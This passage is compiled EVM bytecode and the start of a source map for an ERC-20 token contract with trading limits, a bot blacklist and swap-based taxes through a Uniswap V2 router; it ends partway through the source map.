001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255610606913091906105f890600a611aaf565b61052b906305f5e100611abe565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610659573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067d9190611ad5565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107039190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107749190611ad5565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306107bc816001600160a01b031660009081526001602052604090205490565b6000806107d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610839573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085e9190611af2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db9190611b20565b50565b6000546001600160a01b031633146109085760405162461bcd60e51b815260040161046990611980565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461097c5760405162461bcd60e51b815260040161046990611980565b6109886012600a611aaf565b610996906305f5e100611abe565b600f556109a56012600a611aaf565b6109b3906305f5e100611abe565b6010556015805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109ed6012600a611aaf565b6109fb906305f5e100611abe565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610a385760405162461bcd60e51b815260040161046990611980565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaf9190611b20565b505050565b6000610435338484610c28565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b815260040161046990611980565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610469565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610469565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610469565b6001600160a01b038216610cee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610469565b60008111610d505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610469565b601354600160a01b900460ff16610de5576001600160a01b03831660009081526003602052604090205460ff1680610da057506001600160a01b03821660009081526003602052604090205460ff165b610de55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610469565b601354600090600160b01b900460ff161580610e0a5750601354600160a81b900460ff165b15610ec3576001600160a01b038416600090815260016020526040902054610e3290836114b9565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e619083611502565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb59086815260200190565b60405180910390a350505050565b6000546001600160a01b03858116911614801590610eef57506000546001600160a01b03848116911614155b15611345576001600160a01b03841660009081526004602052604090205460ff16158015610f3657506001600160a01b03831660009081526004602052604090205460ff16155b610f3f57600080fd5b610f6b6064610f65600b54600e5411610f5a57600754610f5e565b6009545b8590611561565b906115e3565b60155490915060ff1615611053576012546001600160a01b03848116911614801590610fa557506013546001600160a01b03848116911614155b15611053573260009081526014602052604090205443116110405760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610469565b3260009081526014602052604090204390555b6013546001600160a01b03858116911614801561107e57506012546001600160a01b03848116911614155b80156110a357506001600160a01b03831660009081526003602052604090205460ff16155b156111ad57600f548211156110fa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610469565b6010548261111d856001600160a01b031660009081526001602052604090205490565b6111279190611b42565b11156111755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610469565b4360065460036111859190611b42565b111561119757823b1561119757600080fd5b600e80549060006111a783611b55565b91905055505b6013546001600160a01b038481169116148015906111e457506001600160a01b03831660009081526003602052604090205460ff16155b15611264576010548261120c856001600160a01b031660009081526001602052604090205490565b6112169190611b42565b11156112645760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610469565b6013546001600160a01b03848116911614801561128a57506001600160a01b0384163014155b156112b7576112b46064610f65600c54600e54116112aa57600854610f5e565b600a548590611561565b90505b30600090815260016020526040902054601354600160a81b900460ff161580156112ee57506013546001600160a01b038581169116145b80156113035750601354600160b01b900460ff165b80156113125750600d54600e54115b1561134357801561133a5761133a6113358461133084601154611625565b611625565b61163a565b61134347610472565b505b80156113bf57306000908152600160205260409020546113659082611502565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b69085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113e290836114b9565b6001600160a01b03851660009081526001602052604090205561142761140883836114b9565b6001600160a01b03851660009081526001602052604090205490611502565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61147185856114b9565b604051908152602001610eb5565b600081848411156114a35760405162461bcd60e51b81526004016104699190611841565b5060006114b08486611b6e565b95945050505050565b60006114fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061147f565b9392505050565b60008061150f8385611b42565b9050838110156114fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610469565b60008260000361157357506000610439565b600061157f8385611abe565b90508261158c8583611b81565b146114fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610469565b60006114fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611813565b600081831161163457826114fb565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168257611682611ba3565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ff9190611ad5565b8160018151811061171257611712611ba3565b6001600160a01b039283166020918202929092018101919091526005546013546040805191851682850152600282820152805180830382018152606083018252805190850120928516608083015260a0808301939093528051808303909301835260c090910190528051910120600019815560125490916117969130911685610b04565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906117cf908690600090879030904290600401611bb9565b600060405180830381600087803b1580156117e957600080fd5b505af11580156117fd573d6000803e3d6000fd5b50506013805460ff60a81b191690555050505050565b600081836118345760405162461bcd60e51b81526004016104699190611841565b5060006114b08486611b81565b600060208083528351808285015260005b8181101561186e57858101830151858201604001528201611852565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b600080604083850312156118b757600080fd5b82356118c28161188f565b946020939093013593505050565b6000602082840312156118e257600080fd5b5035919050565b6000806000606084860312156118fe57600080fd5b83356119098161188f565b925060208401356119198161188f565b929592945050506040919091013590565b60006020828403121561193c57600080fd5b81356114fb8161188f565b6000806040838503121561195a57600080fd5b82356119658161188f565b915060208301356119758161188f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a065781600019048211156119ec576119ec6119b5565b808516156119f957918102915b93841c93908002906119d0565b509250929050565b600082611a1d57506001610439565b81611a2a57506000610439565b8160018114611a405760028114611a4a57611a66565b6001915050610439565b60ff841115611a5b57611a5b6119b5565b50506001821b610439565b5060208310610133831016604e8410600b8410161715611a89575081810a610439565b611a9383836119cb565b8060001904821115611aa757611aa76119b5565b029392505050565b60006114fb60ff841683611a0e565b8082028115828204841417610439576104396119b5565b600060208284031215611ae757600080fd5b81516114fb8161188f565b600080600060608486031215611b0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3257600080fd5b815180151581146114fb57600080fd5b80820180821115610439576104396119b5565b600060018201611b6757611b676119b5565b5060010190565b81810381811115610439576104396119b5565b600082611b9e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c095784516001600160a01b031683529383019391830191600101611be4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037f26318e3143884ae49cabde8cfaef0eb78cba8fd80625d0b53940de6202a0c64736f6c63430008130033
Deployed Bytecode Sourcemap
3995:10205:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5954:83;;;;;;;;;;-1:-1:-1;6024:5:0;;;;;;;;;;;;-1:-1:-1;;;6024:5:0;;;;5954:83;;;;;;;:::i;:::-;;;;;;;;6837:186;;;;;;;;;;-1:-1:-1;6837:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6837:186:0;1023:187:1;5075:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5075:56:0;1215:177:1;12983:98:0;;;;;;;;;;-1:-1:-1;12983:98:0;;;;;:::i;:::-;;:::i;:::-;;6231:95;;;;;;;;;;;;;:::i;7031:446::-;;;;;;;;;;-1:-1:-1;7031:446:0;;;;;:::i;:::-;;:::i;6140:83::-;;;;;;;;;;-1:-1:-1;6140:83:0;;4744:2;2185:36:1;;2173:2;2158:18;6140:83:0;2043:184:1;5189:28:0;;;;;;;;;;-1:-1:-1;5189:28:0;;;;-1:-1:-1;;;;;5189:28:0;;;;;;-1:-1:-1;;;;;2396:32:1;;;2378:51;;2366:2;2351:18;5189:28:0;2232:203:1;13386:774:0;;;;;;;;;;;;;:::i;6334:119::-;;;;;;;;;;-1:-1:-1;6334:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6427:18:0;6400:7;6427:18;;;:9;:18;;;;;;;6334:119;2912:148;;;;;;;;;;;;;:::i;12674:201::-;;;;;;;;;;;;;:::i;4945:57::-;;;;;;;;;;;;;;;;13089:172;;;;;;;;;;-1:-1:-1;13089:172:0;;;;;:::i;:::-;;:::i;2698:79::-;;;;;;;;;;-1:-1:-1;2736:7:0;2763:6;-1:-1:-1;;;;;2763:6:0;2698:79;;5009:59;;;;;;;;;;;;;;;;6045:87;;;;;;;;;;-1:-1:-1;6117:7:0;;;;;;;;;;;;-1:-1:-1;;;6117:7:0;;;;6045:87;;6461:192;;;;;;;;;;-1:-1:-1;6461:192:0;;;;;:::i;:::-;;:::i;5401:40::-;;;;;;;;;;-1:-1:-1;5401:40:0;;;;;;;;6661:168;;;;;;;;;;-1:-1:-1;6661:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6794:18:0;;;6767:7;6794:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6661:168;13269:109;;;;;;;;;;;;;:::i;6837:186::-;6937:4;6954:39;325:10;6977:7;6986:6;6954:8;:39::i;:::-;-1:-1:-1;7011:4:0;6837:186;;;;;:::o;12983:98::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;;;;;;;;;13046:10:::1;::::0;:27:::1;::::0;-1:-1:-1;;;;;13046:10:0;;::::1;::::0;:27;::::1;;;::::0;13066:6;;13046:10:::1;:27:::0;:10;:27;13066:6;13046:10;:27;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12983:98:::0;:::o;6231:95::-;6284:7;4802:15;4744:2;4802;:15;:::i;:::-;4788:29;;:11;:29;:::i;:::-;6304:14;;6231:95;:::o;7031:446::-;7163:4;7180:36;7190:6;7198:9;7209:6;7180:9;:36::i;:::-;7227:220;7250:6;325:10;7298:138;7354:6;7298:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7298:19:0;;;;;;:11;:19;;;;;;;;325:10;7298:33;;;;;;;;;;:37;:138::i;:::-;7227:8;:220::i;:::-;-1:-1:-1;7465:4:0;7031:446;;;;;:::o;13386:774::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;13455:11:::1;::::0;-1:-1:-1;;;13455:11:0;::::1;;;13454:12;13446:48;;;::::0;-1:-1:-1;;;13446:48:0;;5336:2:1;13446:48:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;13446:48:0::1;5134:347:1::0;13446:48:0::1;13505:15;:104:::0;;-1:-1:-1;;;;;;13505:104:0::1;13556:42;13505:104:::0;;::::1;::::0;;13620:58:::1;::::0;13637:4:::1;::::0;13556:42;4802:15:::1;::::0;:2:::1;:15;:::i;:::-;4788:29;::::0;:11:::1;:29;:::i;13620:58::-;13723:15;;;;;;;;;-1:-1:-1::0;;;;;13723:15:0::1;-1:-1:-1::0;;;;;13723:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13705:55:0::1;;13783:4;13803:15;;;;;;;;;-1:-1:-1::0;;;;;13803:15:0::1;-1:-1:-1::0;;;;;13803:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13705:131;::::0;-1:-1:-1;;;;;;13705:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;13705:131:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;13705:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13689:13;:147:::0;;-1:-1:-1;;;;;13689:147:0;;::::1;-1:-1:-1::0;;;;;;13689:147:0;;::::1;;::::0;;13847:15:::1;::::0;::::1;:31;13886:21;13931:4;13951:24;13931:4:::0;-1:-1:-1;;;;;6427:18:0;6400:7;6427:18;;;:9;:18;;;;;;;6334:119;13951:24:::1;13990:1;14006::::0;14022:7:::1;2736::::0;2763:6;-1:-1:-1;;;;;2763:6:0;;2698:79;14022:7:::1;13847:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13847:223:0;;;-1:-1:-1;;;;;6410:15:1;;;13847:223:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;14044:15:0::1;6624:19:1::0;;;6617:35;6326:19;;13847:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14088:13:0::1;::::0;14119:15:::1;::::0;14081:71:::1;::::0;-1:-1:-1;;;14081:71:0;;-1:-1:-1;;;;;14119:15:0;;::::1;14081:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;14088:13:0;::::1;::::0;-1:-1:-1;14081:29:0::1;::::0;7121:18:1;;14081:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13386:774::o:0;2912:148::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;3019:1:::1;3003:6:::0;;2982:40:::1;::::0;-1:-1:-1;;;;;3003:6:0;;::::1;::::0;2982:40:::1;::::0;3019:1;;2982:40:::1;3050:1;3033:19:::0;;-1:-1:-1;;;;;;3033:19:0::1;::::0;;2912:148::o;12674:201::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;4802:15:::1;4744:2;4802;:15;:::i;:::-;4788:29;::::0;:11:::1;:29;:::i;:::-;12728:12;:22:::0;4802:15:::1;4744:2;4802;:15;:::i;:::-;4788:29;::::0;:11:::1;:29;:::i;:::-;12761:14;:24:::0;12796:20:::1;:28:::0;;-1:-1:-1;;12796:28:0::1;::::0;;12840:27:::1;4802:15;4744:2;4802;:15;:::i;:::-;4788:29;::::0;:11:::1;:29;:::i;:::-;12840:27;::::0;1361:25:1;;;1349:2;1334:18;12840:27:0::1;;;;;;;12674:201::o:0;13089:172::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;13233:10:::1;::::0;13205:48:::1;::::0;-1:-1:-1;;;13205:48:0;;-1:-1:-1;;;;;13233:10:0;;::::1;13205:48;::::0;::::1;7148:51:1::0;7215:18;;;7208:34;;;13205:27:0;;::::1;::::0;::::1;::::0;7121:18:1;;13205:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13089:172:::0;;:::o;6461:192::-;6564:4;6581:42;325:10;6605:9;6616:6;6581:9;:42::i;13269:109::-;2825:6;;-1:-1:-1;;;;;2825:6:0;325:10;2825:22;2817:67;;;;-1:-1:-1;;;2817:67:0;;;;;;;:::i;:::-;13323:11:::1;:18:::0;;-1:-1:-1;;;;13352:18:0;-1:-1:-1;;;13352:18:0;;;13269:109::o;7485:335::-;-1:-1:-1;;;;;7578:19:0;;7570:68;;;;-1:-1:-1;;;7570:68:0;;8024:2:1;7570:68:0;;;8006:21:1;8063:2;8043:18;;;8036:30;8102:34;8082:18;;;8075:62;-1:-1:-1;;;8153:18:1;;;8146:34;8197:19;;7570:68:0;7822:400:1;7570:68:0;-1:-1:-1;;;;;7657:21:0;;7649:68;;;;-1:-1:-1;;;7649:68:0;;8429:2:1;7649:68:0;;;8411:21:1;8468:2;8448:18;;;8441:30;8507:34;8487:18;;;8480:62;-1:-1:-1;;;8558:18:1;;;8551:32;8600:19;;7649:68:0;8227:398:1;7649:68:0;-1:-1:-1;;;;;7728:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7780:32;;1361:25:1;;;7780:32:0;;1334:18:1;7780:32:0;;;;;;;7485:335;;;:::o;7828:3694::-;-1:-1:-1;;;;;7916:18:0;;7908:68;;;;-1:-1:-1;;;7908:68:0;;8832:2:1;7908:68:0;;;8814:21:1;8871:2;8851:18;;;8844:30;8910:34;8890:18;;;8883:62;-1:-1:-1;;;8961:18:1;;;8954:35;9006:19;;7908:68:0;8630:401:1;7908:68:0;-1:-1:-1;;;;;7995:16:0;;7987:64;;;;-1:-1:-1;;;7987:64:0;;9238:2:1;7987:64:0;;;9220:21:1;9277:2;9257:18;;;9250:30;9316:34;9296:18;;;9289:62;-1:-1:-1;;;9367:18:1;;;9360:33;9410:19;;7987:64:0;9036:399:1;7987:64:0;8079:1;8070:6;:10;8062:64;;;;-1:-1:-1;;;8062:64:0;;9642:2:1;8062:64:0;;;9624:21:1;9681:2;9661:18;;;9654:30;9720:34;9700:18;;;9693:62;-1:-1:-1;;;9771:18:1;;;9764:39;9820:19;;8062:64:0;9440:405:1;8062:64:0;8144:11;;-1:-1:-1;;;8144:11:0;;;;8139:179;;-1:-1:-1;;;;;8198:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8226:22:0;;;;;;:18;:22;;;;;;;;8198:50;8172:134;;;;-1:-1:-1;;;8172:134:0;;10052:2:1;8172:134:0;;;10034:21:1;10091:2;10071:18;;;10064:30;-1:-1:-1;;;10110:18:1;;;10103:52;10172:18;;8172:134:0;9850:346:1;8172:134:0;8369:11;;8330:17;;-1:-1:-1;;;8369:11:0;;;;8368:12;;:22;;-1:-1:-1;8384:6:0;;-1:-1:-1;;;8384:6:0;;;;8368:22;8364:223;;;-1:-1:-1;;;;;8425:15:0;;;;;;:9;:15;;;;;;:27;;8445:6;8425:19;:27::i;:::-;-1:-1:-1;;;;;8407:15:0;;;;;;;:9;:15;;;;;;:45;;;;8483:13;;;;;;;:25;;8501:6;8483:17;:25::i;:::-;-1:-1:-1;;;;;8467:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8528:26;;;;;;;;;;8547:6;1361:25:1;;1349:2;1334:18;;1215:177;8528:26:0;;;;;;;;8569:7;7828:3694;;;:::o;8364:223::-;2736:7;2763:6;-1:-1:-1;;;;;8603:15:0;;;2763:6;;8603:15;;;;:32;;-1:-1:-1;2736:7:0;2763:6;-1:-1:-1;;;;;8622:13:0;;;2763:6;;8622:13;;8603:32;8599:2552;;;-1:-1:-1;;;;;8661:10:0;;;;;;:4;:10;;;;;;;;8660:11;:24;;;;-1:-1:-1;;;;;;8676:8:0;;;;;;:4;:8;;;;;;;;8675:9;8660:24;8652:33;;;;;;8714:208;8918:3;8714:181;8778:15;;8766:9;;:27;8765:111;;8862:14;;8765:111;;;8822:12;;8765:111;8714:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8943:20;;8702:220;;-1:-1:-1;8943:20:0;;8939:522;;;9024:15;;-1:-1:-1;;;;;9010:30:0;;;9024:15;;9010:30;;;;:83;;-1:-1:-1;9079:13:0;;-1:-1:-1;;;;;9065:28:0;;;9079:13;;9065:28;;9010:83;8984:462;;;9199:9;9170:39;;;;:28;:39;;;;;;9212:12;-1:-1:-1;9136:213:0;;;;-1:-1:-1;;;9136:213:0;;10403:2:1;9136:213:0;;;10385:21:1;10442:2;10422:18;;;10415:30;10481:34;10461:18;;;10454:62;10552:34;10532:18;;;10525:62;-1:-1:-1;;;10603:19:1;;;10596:40;10653:19;;9136:213:0;10201:477:1;9136:213:0;9401:9;9372:39;;;;:28;:39;;;;;9414:12;9372:54;;8984:462;9508:13;;-1:-1:-1;;;;;9500:21:0;;;9508:13;;9500:21;:72;;;;-1:-1:-1;9556:15:0;;-1:-1:-1;;;;;9542:30:0;;;9556:15;;9542:30;;9500:72;:116;;;;-1:-1:-1;;;;;;9594:22:0;;;;;;:18;:22;;;;;;;;9593:23;9500:116;9478:560;;;9669:12;;9659:6;:22;;9651:60;;;;-1:-1:-1;;;9651:60:0;;10885:2:1;9651:60:0;;;10867:21:1;10924:2;10904:18;;;10897:30;10963:27;10943:18;;;10936:55;11008:18;;9651:60:0;10683:349:1;9651:60:0;9786:14;;9776:6;9760:13;9770:2;-1:-1:-1;;;;;6427:18:0;6400:7;6427:18;;;:9;:18;;;;;;;6334:119;9760:13;:22;;;;:::i;:::-;:40;;9730:140;;;;-1:-1:-1;;;9730:140:0;;11369:2:1;9730:140:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:28;11427:18;;;11420:56;11493:18;;9730:140:0;11167:350:1;9730:140:0;9912:12;9895:10;;9908:1;9895:14;;;;:::i;:::-;:29;9891:102;;;11776:20;;11824:8;9949:24;;;;;;10011:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9478:560;10064:13;;-1:-1:-1;;;;;10058:19:0;;;10064:13;;10058:19;;;;:46;;-1:-1:-1;;;;;;10082:22:0;;;;;;:18;:22;;;;;;;;10081:23;10058:46;10054:227;;;10181:14;;10171:6;10155:13;10165:2;-1:-1:-1;;;;;6427:18:0;6400:7;6427:18;;;:9;:18;;;;;;;6334:119;10155:13;:22;;;;:::i;:::-;:40;;10125:140;;;;-1:-1:-1;;;10125:140:0;;11369:2:1;10125:140:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:28;11427:18;;;11420:56;11493:18;;10125:140:0;11167:350:1;10125:140:0;10307:13;;-1:-1:-1;;;;;10301:19:0;;;10307:13;;10301:19;:44;;;;-1:-1:-1;;;;;;10324:21:0;;10340:4;10324:21;;10301:44;10297:332;;;10378:235;10609:3;10378:204;10450:16;;10438:9;;:28;10437:122;;10544:15;;10437:122;;;10499:13;;10378:6;;:32;:204::i;:235::-;10366:247;;10297:332;10694:4;10645:28;6427:18;;;:9;:18;;;;;;10738:6;;-1:-1:-1;;;10738:6:0;;;;10737:7;:47;;;;-1:-1:-1;10771:13:0;;-1:-1:-1;;;;;10765:19:0;;;10771:13;;10765:19;10737:47;:79;;;;-1:-1:-1;10805:11:0;;-1:-1:-1;;;10805:11:0;;;;10737:79;:130;;;;;10849:18;;10837:9;;:30;10737:130;10715:425;;;10906:24;;10902:168;;10953:117;10996:51;11000:6;11008:38;11012:20;11034:11;;11008:3;:38::i;:::-;10996:3;:51::i;:::-;10953:16;:117::i;:::-;11089:35;11102:21;11089:12;:35::i;:::-;8637:2514;8599:2552;11167:13;;11163:172;;11242:4;11224:24;;;;:9;:24;;;;;;:39;;11253:9;11224:28;:39::i;:::-;11215:4;11197:24;;;;:9;:24;;;;;;;:66;;;;11283:40;;-1:-1:-1;;;;;11283:40:0;;;;;;;11313:9;1361:25:1;;1349:2;1334:18;;1215:177;11283:40:0;;;;;;;;11163:172;-1:-1:-1;;;;;11363:15:0;;;;;;:9;:15;;;;;;:27;;11383:6;11363:19;:27::i;:::-;-1:-1:-1;;;;;11345:15:0;;;;;;:9;:15;;;;;:45;11417:40;11435:21;:6;11446:9;11435:10;:21::i;:::-;-1:-1:-1;;;;;11417:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11401:13:0;;;;;;;:9;:13;;;;;:56;;;;11473:41;;;11492:21;:6;11503:9;11492:10;:21::i;:::-;11473:41;;1361:25:1;;;1349:2;1334:18;11473:41:0;1215:177:1;1500:224:0;1620:7;1656:12;1648:6;;;;1640:29;;;;-1:-1:-1;;;1640:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1680:9:0;1692:5;1696:1;1692;:5;:::i;:::-;1680:17;1500:224;-1:-1:-1;;;;;1500:224:0:o;1356:136::-;1414:7;1441:43;1445:1;1448;1441:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1434:50;1356:136;-1:-1:-1;;;1356:136:0:o;1169:179::-;1227:7;;1259:5;1263:1;1259;:5;:::i;:::-;1247:17;;1288:1;1283;:6;;1275:46;;;;-1:-1:-1;;;1275:46:0;;11997:2:1;1275:46:0;;;11979:21:1;12036:2;12016:18;;;12009:30;12075:29;12055:18;;;12048:57;12122:18;;1275:46:0;11795:351:1;1732:246:0;1790:7;1814:1;1819;1814:6;1810:47;;-1:-1:-1;1844:1:0;1837:8;;1810:47;1867:9;1879:5;1883:1;1879;:5;:::i;:::-;1867:17;-1:-1:-1;1912:1:0;1903:5;1907:1;1867:17;1903:5;:::i;:::-;:10;1895:56;;;;-1:-1:-1;;;1895:56:0;;12575:2:1;1895:56:0;;;12557:21:1;12614:2;12594:18;;;12587:30;12653:34;12633:18;;;12626:62;-1:-1:-1;;;12704:18:1;;;12697:31;12745:19;;1895:56:0;12373:397:1;1986:132:0;2044:7;2071:39;2075:1;2078;2071:39;;;;;;;;;;;;;;;;;:3;:39::i;11530:107::-;11587:7;11619:1;11615;:5;11614:15;;11628:1;11614:15;;;-1:-1:-1;11624:1:0;11530:107;-1:-1:-1;11530:107:0:o;11848:818::-;5534:6;:13;;-1:-1:-1;;;;5534:13:0;-1:-1:-1;;;5534:13:0;;;11950:16:::1;::::0;;11964:1:::1;11950:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11950:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11950:16:0::1;11926:40;;11995:4;11977;11982:1;11977:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11977:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12021:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12021:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11977:7;;12021:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12011:4;12016:1;12011:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12011:32:0;;::::1;:7;::::0;